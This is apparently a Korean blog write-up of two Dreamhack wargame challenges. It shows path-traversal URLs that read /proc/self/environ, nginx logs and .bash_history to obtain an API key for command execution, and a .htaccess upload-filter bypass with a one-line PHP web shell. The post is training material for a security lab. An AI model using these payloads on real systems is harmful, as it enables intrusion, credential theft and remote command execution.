1. File Vulnerability Advanced for linux
- 문제 : https://dreamhack.io/wargame/challenges/417
1) 분석
- dockerfile : nginx 서버를 사용한다.
- main.py :
(1) /file 엔드포인트는 GET 메소드로 전달된 path 파라미터를 통해 ./files/ 경로로부터 파일을 읽어오는 역할을 하며, 이 때 path 파라미터에 대한 별도의 필터링이 존재하지 않아 Path Traversal 취약점이 발생하고, 임의 경로의 파일을 다운로드 할 수 있다.
(예시 : path 파라미터에 ../../../../../../etc/passwd 를 입력하면 해당 파일을 볼 수 있다. 여기서 앞의 "../" 수는 적당히 /(루트) 경로까지 올라갈 수 있을 정도로 지정한다.)
(2) /admin 엔드포인트는 GET 메소드로 전달된 cmd 파라미터를 통해 시스템 명령어를 실행한다. 대신 @key_required 데코레이터로 인해 API_KEY를 알고있는 이용자만이 사용할 수 있는 엔드포인트이다.
2) 익스플로잇
(1) 파일 다운로드 취약점을 이용한 API_Key 획득
- main.py의 내용을 통해, API_KEY는 /proc/self/environ 파일에 있음을 알 수 있다.
URL => http://(서버 주소)/file?path=../../../../../../proc/self/environ
- API_KEY는 GET 메소드의 파라미터로 전달되기 때문에 nginx 로그 파일에 내용이 남아있을 가능성이 높다. 따라서 /var/log/nginx/nginx_access.log 파일을 확인해 볼 필요가 있다.
URL => http://(서버 주소)/file?path=../../../../../../var/log/nginx/nginx_access.log
- 사용자가 셸에서 사용한 명령어를 통해서 유의미한 정보를 파악할 수 있기 때문에 .bash_history 파일 또한 체크해야 한다.
URL => http://(서버 주소)/file?path=../../../../../../root/.bash_history
▶ 해당 파일들의 역할에 대해서는 https://learn.dreamhack.io/282
(2) 획득한 API_KEY를 이용해 임의 명령어 실행
1. flag 파일 위치 알아내기
http://(서버 주소)/admin?API_KEY=(획득 API)&cmd=ls%20-l%20/
2. flag 파일은 실행 파일이므로, 다음 요청으로 파일 실행하여 flag 획득
http://(서버 주소)/admin?API_KEY=(획득 API)&cmd=/flag
2. Apache htaccess
- 문제 : https://dreamhack.io/wargame/challenges/418
1) 분석
- dockerfile : Apache 서버를 사용한다.
- upload.php :
(1) 업로드하는 파일의 확장자에 .php 관련 내용이 들어가면 요청을 거부한다. 하지만 .htaccess 파일을 통해 웹 셸 업로드가 가능하다.
▶ .htaccess는 hypertext access의 약자로, Apache 웹 서버의 디렉토리를 설정하는 기본 파일이다.
보통 웹사이트 root 디렉토리에 위치하며, 특정 디렉토리에 위치할 경우 해당 디렉토리 및 모든 하위 디렉토리에 설정에 대한 영향을 행사한다. .htaccess 파일을 사용하면 웹 서버 설정을 개별적으로 지정할 수 있기 때문에 공격자가 업로드할 수 있다면 웹 서버 설정을 건드릴 수 있는 위험한 취약점이다.
2) 익스플로잇
(1) 다음과 같이 .htaccess 파일을 만들고 업로드한다. 그러면 /upload 경로 밑에 .htaccess 파일이 위치하게 된다.
1. 특정 파일에 대해, php로 실행하도록 설정함.
<Files "webshell-dreamhack.jpg">
# php-fpm (PHP FastCGI Process Manager)을 사용하는 경우
SetHandler "proxy:unix:/run/php-fpm/www.sock|fcgi://localhost"
# Apache2 자체 mod_php를 사용하는 경우
SetHandler application/x-httpd-php
</Files>
2. 특정 확장자에 대해, php로 실행하도록 설정함.
AddType application/x-httpd-php .test
(2) .htaccess 파일에 맞춰 웹 셸을 만들고 업로드한다.
▶ 맥북 finder에서 숨겨진 파일을 보려면 Command + Shift + . 을 하면 된다.
//webshell.test
<?php
echo('hello');
system($_GET['cmd']);
?>
(3) 웹 셸을 통해 명령어를 실행하여 flag 획득
'프로그래밍 > 해킹' 카테고리의 다른 글
XSS Filtering Bypass 실습 문제 (0) | 2024.07.22 |
---|---|
XSS Filtering Bypass (0) | 2024.07.20 |
Command Injection Advanced 실습 문제 (0) | 2024.07.17 |
ExploitTech: Command Injection Vulnerability cases (0) | 2024.07.16 |
시스템 해킹 - 셸코드 (0) | 2024.07.10 |